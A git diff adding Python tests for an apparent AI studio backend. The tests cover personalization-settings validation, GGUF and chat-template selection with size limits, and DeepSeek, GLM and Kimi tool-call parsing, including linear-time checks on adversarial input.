+                    {"appearance": {"customization": {field: bad}}}
+                )
+    # A normal family name (spaces + digits) is still accepted.
+    p = PersonalizationPayload.model_validate(
+        {"appearance": {"customization": {"uiFont": "Source Serif 4"}}}
+    )
+    assert p.appearance.customization.uiFont == "Source Serif 4"
+
+
+def test_imported_font_data_url_must_be_base64():
+    with pytest.raises(ValidationError):
+        PersonalizationPayload.model_validate(
+            _imported([{"name": "F", "dataUrl": "data:font/woff2;base64,?not base64?"}])
+        )
+    with pytest.raises(ValidationError):
+        PersonalizationPayload.model_validate(
+            _imported([{"name": "F", "dataUrl": "data:application/json;base64,AAAA"}])
+        )
+
+
+def test_imported_font_data_url_rejects_newline():
+    # re's ``$`` also matches just before a trailing newline, so a data URL
+    # ending in "\n" (or with an embedded newline) must be rejected the same way
+    # the frontend JS pattern rejects it; otherwise the backend accepts a value
+    # the client would never have produced.
+    for bad in [
+        "data:font/woff2;base64,AAAA\n",
+        "data:font/woff2;base64,AAAA\nBBBB",
+        "\ndata:font/woff2;base64,AAAA",
+    ]:
+        with pytest.raises(ValidationError):
+            PersonalizationPayload.model_validate(_imported([{"name": "F", "dataUrl": bad}]))
+    # The same URL without the newline is still accepted.
+    ok = PersonalizationPayload.model_validate(
+        _imported([{"name": "F", "dataUrl": "data:font/woff2;base64,AAAA"}])
+    )
+    assert ok.appearance.customization.importedFonts[0].dataUrl == "data:font/woff2;base64,AAAA"
+
+
+def test_imported_fonts_total_size_capped():
+    big = "data:font/woff2;base64," + "A" * 1_600_000
+    with pytest.raises(ValidationError):
+        PersonalizationPayload.model_validate(
+            _imported([{"name": f"F{i}", "dataUrl": big} for i in range(3)])
+        )
+    # Two fit under the aggregate cap.
+    PersonalizationPayload.model_validate(
+        _imported([{"name": f"F{i}", "dataUrl": big} for i in range(2)])
+    )
+
+
 def test_avatar_must_be_image_data_url():
     with pytest.raises(ValidationError):
         PersonalizationPayload.model_validate(
@@ -132,8 +345,42 @@ def test_personalization_route_roundtrip_real_shape(monkeypatch):
             "nickname": "M",
             "avatarDataUrl": "/Sloth%20emojis/large%20sloth%20yay.png",
             "avatarShape": "rounded",
+            "showGreetingSloth": False,
+        },
+        "appearance": {
+            "theme": "dark",
+            "palette": "classic",
+            "language": "en",
+            "customization": {
+                "colors": {
+                    "light": {"accent": "#339cff", "background": None, "foreground": None},
+                    "dark": {"accent": None, "background": "#111111", "foreground": None},
+                },
+                "uiFont": "SF Pro Text",
+                "headingFont": "Avenir Next",
+                "chatFont": "Georgia",
+                "codeFont": None,
+                "importedFonts": [
+                    {"name": "SF Pro Text", "dataUrl": "data:font/woff2;base64,AAAA"}
+                ],
+                "uiFontSize": 14,
+                "codeFontSize": 13,
+                "contrast": 60,
+                "pointerCursors": True,
+                "reduceMotion": "off",
+                "fontSmoothing": True,
+                "sidebarMenu": [
+                    {"id": "darkMode", "visible": True},
+                    {"id": "api", "visible": False},
+                    {"id": "guidedTour", "visible": True},
+                    {"id": "profile", "visible": True},
+                    {"id": "appearance", "visible": False},
+                    {"id": "resources", "visible": False},
+                    {"id": "chat", "visible": False},
+                    {"id": "connections", "visible": False},
+                ],
+            },
         },
-        "appearance": {"theme": "dark", "language": "en"},
     }
     put = client.put("/api/settings/personalization", json = payload)
     assert put.status_code == 200
@@ -142,5 +389,109 @@ def test_personalization_route_roundtrip_real_shape(monkeypatch):
     assert saved.status_code == 200
     body = saved.json()
     assert body["saved"] is True
+    assert body["customizationSaved"] is True
+    assert body["paletteSaved"] is True
+    assert body["greetingSlothSaved"] is True
     assert body["profile"] == payload["profile"]
     assert body["appearance"] == payload["appearance"]
+
+
+def test_personalization_get_flags_legacy_fields(monkeypatch):
+    # A record written before these fields existed must report them as unsaved
+    # so the client keeps local overrides instead of the server-filled defaults.
+    store: dict = {
+        pers.PERSONALIZATION_SETTING_KEY: {
+            "version": 1,
+            "profile": {"displayName": "Mike"},
+            "appearance": {"theme": "dark"},
+        }
+    }
+    monkeypatch.setattr("storage.studio_db.get_app_setting", lambda k, d = None: store.get(k, d))
+
+    app = FastAPI()
+    app.dependency_overrides[get_current_subject] = lambda: "unsloth"
+    app.include_router(settings_routes.router, prefix = "/api/settings")
+    body = TestClient(app).get("/api/settings/personalization").json()
+    assert body["saved"] is True
+    assert body["customizationSaved"] is False
+    assert body["paletteSaved"] is False
+    assert body["greetingSlothSaved"] is False
+
+
+def test_personalization_put_preserves_absent_fields(monkeypatch):
+    # A stale client that omits palette/customization must not materialize them,
+    # so the record stays legacy and GET keeps reporting those fields unsaved.
+    store: dict = {}
+    monkeypatch.setattr("storage.studio_db.get_app_setting", lambda k, d = None: store.get(k, d))
+    monkeypatch.setattr("storage.studio_db.upsert_app_settings", lambda d: store.update(d))
+
+    app = FastAPI()
+    app.dependency_overrides[get_current_subject] = lambda: "unsloth"
+    app.include_router(settings_routes.router, prefix = "/api/settings")
+    client = TestClient(app)
+
+    put = client.put(
+        "/api/settings/personalization",
+        json = {
+            "version": 1,
+            "profile": {"displayName": "Mike"},
+            "appearance": {"theme": "dark", "language": "en"},
+        },
+    )
+    assert put.status_code == 200
+
+    stored_appearance = store[pers.PERSONALIZATION_SETTING_KEY]["appearance"]
+    assert "palette" not in stored_appearance
+    assert "customization" not in stored_appearance
+
+    body = client.get("/api/settings/personalization").json()
+    assert body["saved"] is True
+    assert body["paletteSaved"] is False
+    assert body["customizationSaved"] is False
+    assert body["greetingSlothSaved"] is False
+
+
+def test_personalization_put_preserves_existing_fields_on_stale_write(monkeypatch):
+    # A stale client that omits palette/customization must not clobber values a
+    # newer client already stored; the merge keeps them and only updates theme.
+    store: dict = {
+        pers.PERSONALIZATION_SETTING_KEY: {
+            "version": 1,
+            "profile": {"displayName": "Mike", "showGreetingSloth": False},
+            "appearance": {
+                "theme": "light",
+                "palette": "classic",
+                "customization": {"uiFont": "Georgia"},
+            },
+        }
+    }
+    monkeypatch.setattr("storage.studio_db.get_app_setting", lambda k, d = None: store.get(k, d))
+    monkeypatch.setattr("storage.studio_db.upsert_app_settings", lambda d: store.update(d))
+
+    app = FastAPI()
+    app.dependency_overrides[get_current_subject] = lambda: "unsloth"
+    app.include_router(settings_routes.router, prefix = "/api/settings")
+    client = TestClient(app)
+
+    put = client.put(
+        "/api/settings/personalization",
+        json = {"version": 1, "profile": {"displayName": "Mike"}, "appearance": {"theme": "dark"}},
+    )
+    assert put.status_code == 200
+
+    # The PUT response reflects the stored record, not the defaults-filled request:
+    # a stale write that omits palette/customization still echoes the preserved values.
+    put_body = put.json()
+    assert put_body["appearance"]["theme"] == "dark"
+    assert put_body["appearance"]["palette"] == "classic"
+    assert put_body["appearance"]["customization"]["uiFont"] == "Georgia"
+
+    stored_appearance = store[pers.PERSONALIZATION_SETTING_KEY]["appearance"]
+    assert stored_appearance["theme"] == "dark"
+    assert stored_appearance["palette"] == "classic"
+    assert stored_appearance["customization"]["uiFont"] == "Georgia"
+
+    body = client.get("/api/settings/personalization").json()
+    assert body["paletteSaved"] is True
+    assert body["customizationSaved"] is True
+    assert body["greetingSlothSaved"] is True
diff --git a/studio/backend/tests/test_picker_service.py b/studio/backend/tests/test_picker_service.py
new file mode 100644
index 0000000000..1bdfc135e3
--- /dev/null
+++ b/studio/backend/tests/test_picker_service.py
@@ -0,0 +1,272 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import json
+from types import SimpleNamespace
+
+from picker.service import (
+    MAX_TEMPLATE_METADATA_BYTES,
+    _chat_template_from_dir,
+    _chat_template_from_processor_json,
+    _chat_template_from_tokenizer_config,
+    _chat_template_from_tokenizer_dir,
+    _find_gguf_in_dir,
+    _iter_ggufs,
+    read_default_chat_template,
+    validate_chat_template,
+)
+
+
+def test_iter_ggufs_skips_gguf_companions(tmp_path):
+    mtp_dir = tmp_path / "MTP"
+    mtp_dir.mkdir()
+    main = tmp_path / "model-Q8_0.gguf"
+    main.write_bytes(b"")
+    (tmp_path / "mmproj-F16.gguf").write_bytes(b"")
+    (tmp_path / "mtp-model-Q8_0.gguf").write_bytes(b"")
+    (mtp_dir / "model-Q8_0-MTP.gguf").write_bytes(b"")
+    (tmp_path / "model-Q8_0-be.gguf").write_bytes(b"")
+
+    assert _iter_ggufs(tmp_path) == [main]
+
+
+def test_find_gguf_in_dir_matches_quant_label(tmp_path):
+    mtp_dir = tmp_path / "MTP"
+    mtp_dir.mkdir()
+    main = tmp_path / "model-Q8_0.gguf"
+    main.write_bytes(b"")
+    (mtp_dir / "model-Q8_0-MTP.gguf").write_bytes(b"")
+    (tmp_path / "model-Q4_K_M.gguf").write_bytes(b"")
+
+    assert _find_gguf_in_dir(tmp_path, "Q8_0") == main
+    assert _find_gguf_in_dir(tmp_path, "Q4_K") is None
+
+
+def test_find_gguf_in_dir_without_variant_prefers_largest_model(tmp_path):
+    smaller = tmp_path / "a-model-Q4_K_M.gguf"
+    larger = tmp_path / "z-model-Q8_0.gguf"
+    smaller.write_bytes(b"0")
+    larger.write_bytes(b"00")
+
+    assert _find_gguf_in_dir(tmp_path, None) == larger
+
+
+def test_find_gguf_in_dir_without_variant_prefers_first_split(tmp_path):
+    first = tmp_path / "model-Q4_K_M-00001-of-00003.gguf"
+    second = tmp_path / "model-Q4_K_M-00002-of-00003.gguf"
+    third = tmp_path / "model-Q4_K_M-00003-of-00003.gguf"
+    first.write_bytes(b"0")
+    second.write_bytes(b"000")
+    third.write_bytes(b"00")
+
+    assert _find_gguf_in_dir(tmp_path, None) == first
+
+    first.unlink()
+    assert _find_gguf_in_dir(tmp_path, None) == second
+
+
+def test_find_gguf_in_dir_matches_bpw_variant_base_label(tmp_path):
+    target = tmp_path / "model-IQ4_XS-3.53bpw.gguf"
+    target.write_bytes(b"")
+    (tmp_path / "model-Q4_K_M.gguf").write_bytes(b"")
+
+    assert _find_gguf_in_dir(tmp_path, "IQ4_XS") == target
+    assert _find_gguf_in_dir(tmp_path, "IQ4_XS-3.53bpw") == target
+    assert _find_gguf_in_dir(tmp_path, "Q4_K") is None
+
+
+def test_validate_chat_template_accepts_valid_and_empty():
+    assert validate_chat_template("{{ messages[0].content }}").valid is True
+    assert validate_chat_template("").valid is True
+    assert validate_chat_template("   ").valid is True
+
+
+def test_validate_chat_template_reports_syntax_error_with_line():
+    result = validate_chat_template("{% if %}{% endif %}")
+    assert result.valid is False
+    assert result.error is not None
+    assert result.error.startswith("Line ")
+
+
+def test_chat_template_from_tokenizer_config_reads_string():
+    assert _chat_template_from_tokenizer_config({"chat_template": "HELLO"}) == "HELLO"
+    assert _chat_template_from_tokenizer_config({"chat_template": "   "}) is None
+    assert _chat_template_from_tokenizer_config({}) is None
+
+
+def test_chat_template_from_tokenizer_config_prefers_named_default():
+    config = {
+        "chat_template": [
+            {"name": "tool_use", "template": "TOOL"},
+            {"name": "default", "template": "DEFAULT"},
+        ]
+    }
+    assert _chat_template_from_tokenizer_config(config) == "DEFAULT"
+
+
+def test_chat_template_from_tokenizer_config_falls_back_to_first_entry():
+    config = {
+        "chat_template": [
+            {"name": "tool_use", "template": "TOOL"},
+            {"name": "other", "template": "OTHER"},
+        ]
+    }
+    assert _chat_template_from_tokenizer_config(config) == "TOOL"
+
+
+def test_chat_template_from_tokenizer_dir_prefers_jinja_file(tmp_path):
+    (tmp_path / "chat_template.jinja").write_text("FROM_JINJA", encoding = "utf-8")
+    (tmp_path / "tokenizer_config.json").write_text(
+        json.dumps({"chat_template": "FROM_CONFIG"}), encoding = "utf-8"
+    )
+    assert _chat_template_from_tokenizer_dir(tmp_path) == "FROM_JINJA"
+
+
+def test_chat_template_from_tokenizer_dir_reads_tokenizer_config(tmp_path):
+    (tmp_path / "tokenizer_config.json").write_text(
+        json.dumps({"chat_template": "FROM_CONFIG"}), encoding = "utf-8"
+    )
+    assert _chat_template_from_tokenizer_dir(tmp_path) == "FROM_CONFIG"
+
+
+def test_chat_template_from_dir_without_variant_prefers_tokenizer(tmp_path):
+    (tmp_path / "tokenizer_config.json").write_text(
+        json.dumps({"chat_template": "FROM_CONFIG"}), encoding = "utf-8"
+    )
+    assert _chat_template_from_dir(tmp_path) == "FROM_CONFIG"
+
+
+def test_chat_template_from_dir_with_variant_still_prefers_tokenizer(tmp_path, monkeypatch):
+    (tmp_path / "tokenizer_config.json").write_text(
+        json.dumps({"chat_template": "FROM_CONFIG"}), encoding = "utf-8"
+    )
+    (tmp_path / "model-Q4_K_M.gguf").write_bytes(b"")
+    monkeypatch.setattr("picker.service.read_gguf_chat_template", lambda _path: "FROM_GGUF")
+    # Selecting a variant must not flip precedence to the embedded GGUF template.
+    assert _chat_template_from_dir(tmp_path, "Q4_K_M") == "FROM_CONFIG"
+
+
+def test_chat_template_from_dir_with_variant_falls_back_to_gguf(tmp_path, monkeypatch):
+    (tmp_path / "model-Q4_K_M.gguf").write_bytes(b"")
+    monkeypatch.setattr("picker.service.read_gguf_chat_template", lambda _path: "FROM_GGUF")
+    # With no tokenizer sidecar, the embedded GGUF template is still the fallback.
+    assert _chat_template_from_dir(tmp_path, "Q4_K_M") == "FROM_GGUF"
+
+
+def test_chat_template_from_dir_returns_none_when_absent(tmp_path):
+    assert _chat_template_from_dir(tmp_path) is None
+
+
+def test_read_default_chat_template_direct_gguf_prefers_sidecar(tmp_path, monkeypatch):
+    gguf = tmp_path / "model-Q4_K_M.gguf"
+    gguf.write_bytes(b"")
+    (tmp_path / "tokenizer_config.json").write_text(
+        json.dumps({"chat_template": "FROM_CONFIG"}), encoding = "utf-8"
+    )
+    monkeypatch.setattr("picker.service._build_browse_allowlist", lambda: [tmp_path])
+    monkeypatch.setattr("picker.service.read_gguf_chat_template", lambda _path: "FROM_GGUF")
+    # A directly selected .gguf must prefer a maintained sidecar over its embedded copy.
+    assert read_default_chat_template(str(gguf)) == "FROM_CONFIG"
+
+
+def test_read_default_chat_template_direct_gguf_falls_back_to_embedded(tmp_path, monkeypatch):
+    gguf = tmp_path / "model-Q4_K_M.gguf"
+    gguf.write_bytes(b"")
+    monkeypatch.setattr("picker.service._build_browse_allowlist", lambda: [tmp_path])
+    monkeypatch.setattr("picker.service.read_gguf_chat_template", lambda _path: "FROM_GGUF")
+    # With no sidecar next to the file, the embedded GGUF template is the fallback.
+    assert read_default_chat_template(str(gguf)) == "FROM_GGUF"
+
+
+def test_tokenizer_config_over_size_limit_is_skipped_not_parsed(tmp_path):
+    # An oversized tokenizer_config.json must be skipped before json.loads so a
+    # hostile sidecar cannot exhaust memory.
+    padding = "x" * (MAX_TEMPLATE_METADATA_BYTES + 1024)
+    (tmp_path / "tokenizer_config.json").write_text(
+        json.dumps({"chat_template": "HELLO", "_pad": padding}), encoding = "utf-8"
+    )
+    assert _chat_template_from_tokenizer_dir(tmp_path) is None
+
+
+def test_processor_json_over_size_limit_is_skipped_not_parsed(tmp_path):
+    padding = "x" * (MAX_TEMPLATE_METADATA_BYTES + 1024)
+    (tmp_path / "chat_template.json").write_text(
+        json.dumps({"default": "HELLO", "_pad": padding}), encoding = "utf-8"
+    )
+    assert _chat_template_from_processor_json(tmp_path) is None
+
+
+def test_tokenizer_config_at_size_limit_is_still_read(tmp_path):
+    # A normal-sized config is unaffected by the bound (regression guard).
+    (tmp_path / "tokenizer_config.json").write_text(
+        json.dumps({"chat_template": "FROM_CONFIG"}), encoding = "utf-8"
+    )
+    assert _chat_template_from_tokenizer_dir(tmp_path) == "FROM_CONFIG"
+
+
+def test_remote_template_over_size_limit_is_skipped_before_download(monkeypatch):
+    # An uncached Hub repo whose template exceeds the cap must be skipped via the
+    # remote size pre-check, never downloaded.
+    import huggingface_hub
+
+    monkeypatch.setattr("picker.service.resolve_cached_repo_id_case", lambda name: name)
+    monkeypatch.setattr("picker.service.iter_hf_cache_snapshots", lambda resolved: [])
+
+    def _fail_download(*args, **kwargs):
+        raise AssertionError("oversized remote template must not be downloaded")
+
+    def _fake_get_paths_info(self, repo_id, paths, **kwargs):
+        return [SimpleNamespace(path = p, size = MAX_TEMPLATE_METADATA_BYTES + 1) for p in paths]
+
+    monkeypatch.setattr(huggingface_hub, "hf_hub_download", _fail_download)
+    monkeypatch.setattr(huggingface_hub.HfApi, "get_paths_info", _fake_get_paths_info)
+
+    assert read_default_chat_template("org/oversized-model") is None
+
+
+def test_remote_oversized_jinja_falls_through_to_tokenizer_template(tmp_path, monkeypatch):
+    # A raw chat_template.jinja between the response cap (MAX_CHAT_TEMPLATE_BYTES)
+    # and the download bound (MAX_TEMPLATE_METADATA_BYTES) must not be returned: the
+    # route drops it, so the remote path must skip the oversized Jinja and fall
+    # through to the smaller tokenizer_config.json.
+    import huggingface_hub
+    from picker.schemas import MAX_CHAT_TEMPLATE_BYTES
+
+    big_jinja = tmp_path / "chat_template.jinja"
+    big_jinja.write_text("{{ x }}" * (MAX_CHAT_TEMPLATE_BYTES // 4), encoding = "utf-8")
+    assert MAX_CHAT_TEMPLATE_BYTES < big_jinja.stat().st_size < MAX_TEMPLATE_METADATA_BYTES
+    tokenizer_config = tmp_path / "tokenizer_config.json"
+    tokenizer_config.write_text(json.dumps({"chat_template": "SMALL_TEMPLATE"}), encoding = "utf-8")
+    files = {
+        "chat_template.jinja": big_jinja,
+        "tokenizer_config.json": tokenizer_config,
+    }
+    selected_cache = tmp_path / "selected-cache" / "hub"
+    observed_cache_dirs = []
+
+    monkeypatch.setattr("picker.service.resolve_cached_repo_id_case", lambda name: name)
+    monkeypatch.setattr("picker.service.iter_hf_cache_snapshots", lambda resolved: [])
+    monkeypatch.setattr("picker.service.active_hf_hub_cache", lambda: str(selected_cache))
+
+    def _fake_download(repo_id, rel, **kwargs):
+        observed_cache_dirs.append(kwargs.get("cache_dir"))
+        target = files.get(rel)
+        if target is None:
+            raise FileNotFoundError(rel)
+        return str(target)
+
+    def _fake_get_paths_info(self, repo_id, paths, **kwargs):
+        return [
+            SimpleNamespace(
+                path = p,
+                size = files[p].stat().st_size if p in files else 0,
+            )
+            for p in paths
+        ]
+
+    monkeypatch.setattr(huggingface_hub, "hf_hub_download", _fake_download)
+    monkeypatch.setattr(huggingface_hub.HfApi, "get_paths_info", _fake_get_paths_info)
+
+    assert read_default_chat_template("org/big-jinja-model") == "SMALL_TEMPLATE"
+    assert observed_cache_dirs
+    assert set(observed_cache_dirs) == {str(selected_cache)}
diff --git a/studio/backend/tests/test_pr5624_regressions.py b/studio/backend/tests/test_pr5624_regressions.py
new file mode 100644
index 0000000000..4f5471675c
--- /dev/null
+++ b/studio/backend/tests/test_pr5624_regressions.py
@@ -0,0 +1,1011 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""
+Regression tests for PR #5624 (DeepSeek R1/V3.x, GLM 4.x, Kimi K2 tool
+parsing). Each test pins a specific edge case surfaced during the
+review:
+
+* GLM string-vs-JSON-encoded value coercion (template emits strings
+  raw and non-strings JSON-encoded; the parser must not coerce a
+  bare string ``"42"`` into ``42``).
+* GLM ``<arg_value>`` containing a literal ``<`` (e.g. ``if x < 10``).
+* Kimi K2 dotted name ``functions.my.tool:0`` keeps its full name
+  (``my.tool``) after stripping only the ``functions.`` prefix and
+  ``:idx`` suffix, while the full id is preserved on the call.
+* Kimi K2 bare-counter id (no ``functions.`` prefix, no ``:IDX``) is
+  dropped rather than surfaced under a numeric name.
+* DeepSeek V3.1 truncated mid-stream produces an empty result without
+  raising.
+* ``routes.inference._strip_tool_xml`` strips the DeepSeek envelope and
+  the Kimi section markers added by this PR.
+"""
+
+import json
+
+import pytest
+
+from core.inference.tool_call_parser import (
+    parse_tool_calls_from_text,
+    strip_tool_markup,
+)
+
+
+# GLM string-vs-JSON-encoded value coercion (finding B in plan)
+
+
+@pytest.mark.parametrize(
+    "raw_val, expected_python",
+    [
+        # Bare numeric / bool / null shapes are still treated as JSON
+        # literals (ambiguous with strings; the template doesn't tell us).
+        ("42", 42),
+        ("true", True),
+        ("false", False),
+        ("null", None),
+        ("3.14", 3.14),
+        ("-7", -7),
+        ("1e3", 1000.0),
+    ],
+)
+def test_glm_numeric_and_bool_literals_are_json_decoded(raw_val, expected_python):
+    text = (
+        "<tool_call>n\n"
+        f"<arg_key>v</arg_key>\n"
+        f"<arg_value>{raw_val}</arg_value>\n"
+        "</tool_call>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 1
+    args = json.loads(calls[0]["function"]["arguments"])
+    assert args["v"] == expected_python
+
+
+@pytest.mark.parametrize(
+    "raw_val",
+    [
+        "hello world",  # plain prose
+        "True",  # Python literal, NOT JSON -- no longer eaten by ast.literal_eval
+        "None",  # Python literal, NOT JSON -- no longer eaten by ast.literal_eval
+        "if x < 10: pass",  # code with literal < (well, < not in arg_value here)
+        "{not valid json",  # looks like an object but is malformed -- must stay raw
+        "[oops",  # looks like an array but is malformed
+    ],
+)
+def test_glm_non_json_shapes_stay_raw(raw_val):
+    text = (
+        "<tool_call>n\n"
+        f"<arg_key>v</arg_key>\n"
+        f"<arg_value>{raw_val}</arg_value>\n"
+        "</tool_call>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 1
+    args = json.loads(calls[0]["function"]["arguments"])
+    assert args["v"] == raw_val
+    assert isinstance(args["v"], str)
+
+
+def test_glm_json_object_arg_decoded():
+    text = (
+        "<tool_call>nest\n"
+        "<arg_key>opts</arg_key>\n"
+        '<arg_value>{"limit": 10}</arg_value>\n'
+        "</tool_call>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    args = json.loads(calls[0]["function"]["arguments"])
+    assert args["opts"] == {"limit": 10}
+
+
+def test_glm_json_array_arg_decoded():
+    text = (
+        "<tool_call>nest\n"
+        "<arg_key>ids</arg_key>\n"
+        "<arg_value>[1, 2, 3]</arg_value>\n"
+        "</tool_call>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    args = json.loads(calls[0]["function"]["arguments"])
+    assert args["ids"] == [1, 2, 3]
+
+
+def test_glm_arg_value_with_literal_less_than():
+    text = (
+        "<tool_call>run\n"
+        "<arg_key>code</arg_key>\n"
+        "<arg_value>if x < 10: pass</arg_value>\n"
+        "</tool_call>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 1
+    args = json.loads(calls[0]["function"]["arguments"])
+    assert args["code"] == "if x < 10: pass"
+
+
+# GLM 4.7 no-newline emission shape
+
+
+def test_glm_4_7_no_newlines_between_name_and_arg_key():
+    """GLM 4.7 strips the ``\\n`` after the name (``{{- ... -}}`` in the
+    template) so ``<arg_key>`` follows directly. Parser must accept both."""
+    text = (
+        "<tool_call>get_weather"
+        "<arg_key>city</arg_key><arg_value>London</arg_value>"
+        "<arg_key>units</arg_key><arg_value>celsius</arg_value>"
+        "</tool_call>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 1
+    assert calls[0]["function"]["name"] == "get_weather"
+    args = json.loads(calls[0]["function"]["arguments"])
+    assert args == {"city": "London", "units": "celsius"}
+
+
+def test_glm_4_7_no_newlines_multi_call():
+    """Back-to-back GLM 4.7 calls without intervening newlines."""
+    text = (
+        "<tool_call>a<arg_key>x</arg_key><arg_value>1</arg_value></tool_call>"
+        "<tool_call>b<arg_key>y</arg_key><arg_value>2</arg_value></tool_call>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 2
+    assert calls[0]["function"]["name"] == "a"
+    assert calls[1]["function"]["name"] == "b"
+
+
+def test_glm_4_7_does_not_break_qwen_path():
+    """Qwen ``<tool_call>{json}`` still dispatches to Qwen; GLM's
+    first-char ``[^\\n<{]`` excludes ``{``."""
+    text = '<tool_call>{"name":"web_search","arguments":{"q":"x"}}</tool_call>'
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 1
+    assert calls[0]["function"]["name"] == "web_search"
+
+
+# Kimi K2 dotted name + bare counter (finding C in plan)
+
+
+def test_kimi_dotted_namespace_keeps_full_dotted_name():
+    # A dotted Kimi id keeps its FULL name; only the ``functions.`` prefix and ``:idx`` suffix drop (vLLM parity).
+    text = (
+        "<|tool_calls_section_begin|>"
+        "<|tool_call_begin|>functions.my.tool:0"
+        "<|tool_call_argument_begin|>{}"
+        "<|tool_call_end|>"
+        "<|tool_calls_section_end|>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 1
+    assert calls[0]["function"]["name"] == "my.tool"
+    assert calls[0]["id"] == "functions.my.tool:0"
+
+
+def test_kimi_two_sections_in_one_stream_both_parse():
+    """Outer loop walks every ``<|tool_calls_section_begin|>...end|>``
+    so vLLM / SGLang parity holds even on multi-section streams."""
+    text = (
+        "<|tool_calls_section_begin|>"
+        "<|tool_call_begin|>functions.a:0"
+        '<|tool_call_argument_begin|>{"x":1}'
+        "<|tool_call_end|>"
+        "<|tool_calls_section_end|>"
+        " some prose between sections "
+        "<|tool_calls_section_begin|>"
+        "<|tool_call_begin|>functions.b:0"
+        '<|tool_call_argument_begin|>{"y":2}'
+        "<|tool_call_end|>"
+        "<|tool_calls_section_end|>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 2
+    assert calls[0]["function"]["name"] == "a"
+    assert calls[1]["function"]["name"] == "b"
+    assert calls[0]["id"] == "functions.a:0"
+    assert calls[1]["id"] == "functions.b:0"
+
+
+def test_kimi_bare_counter_id_is_dropped():
+    """Bare-digit id (``3``) is dropped (matches vLLM); SGLang infers
+    name from schema, which we don't have at parse time."""
+    text = (
+        "<|tool_calls_section_begin|>"
+        "<|tool_call_begin|>3"
+        "<|tool_call_argument_begin|>{}"
+        "<|tool_call_end|>"
+        "<|tool_calls_section_end|>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert calls == []
+
+
+# DeepSeek truncated mid-stream
+
+
+def test_deepseek_v3_1_huge_truncated_body_is_linear():
+    """Adversarial input: DeepSeek envelope with no JSON brace and a
+    50k-char body. A regex-based ``[^\\n<]+?`` name capture is O(N^2)
+    here; the parser uses ``str.find`` on the sep marker so it stays
+    linear. Budget 1s to flag any future regression."""
+    import time as _time
+
+    text = "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>fn<｜tool▁sep｜>" + "x" * 50_000
+    start = _time.time()
+    calls = parse_tool_calls_from_text(text)
+    elapsed = _time.time() - start
+    assert elapsed < 1.0, f"V3 path is non-linear: {elapsed:.2f}s"
+    assert calls == []
+
+
+def test_deepseek_r1_huge_fenceless_body_is_linear():
+    """R1 detection used a greedy ``([^\\n]+)\\n```json`` regex that is O(N^2) on a
+    fence-less body of repeated ``function<sep>`` tokens. The parser now scans with
+    ``str.find``; budget 1s to flag any regression."""
+    import time as _time
+
+    text = "<｜tool▁calls▁begin｜>" + "function<｜tool▁sep｜>a" * 40_000
+    start = _time.time()
+    calls = parse_tool_calls_from_text(text)
+    elapsed = _time.time() - start
+    assert elapsed < 1.0, f"R1 path is non-linear: {elapsed:.2f}s"
+    assert calls == []
+
+
+def test_glm_unclosed_body_many_arg_keys_is_linear():
+    """An unclosed GLM ``<tool_call>`` body runs to EOF; a lazy-group ``finditer``
+    over many bare ``<arg_key>`` tokens was O(N^2). The parser now walks pairs with
+    ``str.find``; budget 1s."""
+    import time as _time
+
+    text = "<tool_call>foo\n" + "<arg_key>k" * 40_000
+    start = _time.time()
+    parse_tool_calls_from_text(text)
+    elapsed = _time.time() - start
+    assert elapsed < 1.0, f"GLM path is non-linear: {elapsed:.2f}s"
+
+
+def test_deepseek_r1_fenced_json_parses():
+    """R1 wraps args in a ```json fence after ``function<sep>NAME``."""
+    import json as _json
+
+    text = (
+        "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>get_weather\n"
+        "```json\n"
+        '{"city":"NYC","unit":"c"}\n'
+        "```<｜tool▁call▁end｜><｜tool▁calls▁end｜>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 1
+    assert calls[0]["function"]["name"] == "get_weather"
+    assert _json.loads(calls[0]["function"]["arguments"]) == {"city": "NYC", "unit": "c"}
+
+
+def test_deepseek_v3_1_truncated_arguments_drops_call_without_crash():
+    text = (
+        "<｜tool▁calls▁begin｜>"
+        "<｜tool▁call▁begin｜>get_time"
+        "<｜tool▁sep｜>"
+        '{"city":"Tokyo"'  # no closing brace, no end markers
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert calls == []
+
+
+def test_deepseek_v3_1_truncated_after_end_marker_still_yields_call():
+    text = (
+        "<｜tool▁calls▁begin｜>" "<｜tool▁call▁begin｜>get_time" "<｜tool▁sep｜>" '{"city":"Tokyo"}'
+        # neither <｜tool▁call▁end｜> nor <｜tool▁calls▁end｜>
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 1
+    assert calls[0]["function"]["name"] == "get_time"
+    assert json.loads(calls[0]["function"]["arguments"]) == {"city": "Tokyo"}
+
+
+# Routes-layer strip across the three new families
+
+
+def test_routes_layer_strip_removes_deepseek_envelope():
+    from routes.inference import _strip_tool_xml as _routes_strip
+
+    text = (
+        "before "
+        "<｜tool▁calls▁begin｜>"
+        "<｜tool▁call▁begin｜>get_time"
+        '<｜tool▁sep｜>{"city":"Tokyo"}'
+        "<｜tool▁call▁end｜>"
+        "<｜tool▁calls▁end｜>"
+        " after"
+    )
+    stripped = _routes_strip(text)
+    assert stripped == "before  after"
+
+
+def test_routes_layer_strip_removes_kimi_section():
+    from routes.inference import _strip_tool_xml as _routes_strip
+
+    text = (
+        "before "
+        "<|tool_calls_section_begin|>"
+        "<|tool_call_begin|>functions.web_search:0"
+        '<|tool_call_argument_begin|>{"q":"x"}'
+        "<|tool_call_end|>"
+        "<|tool_calls_section_end|>"
+        " after"
+    )
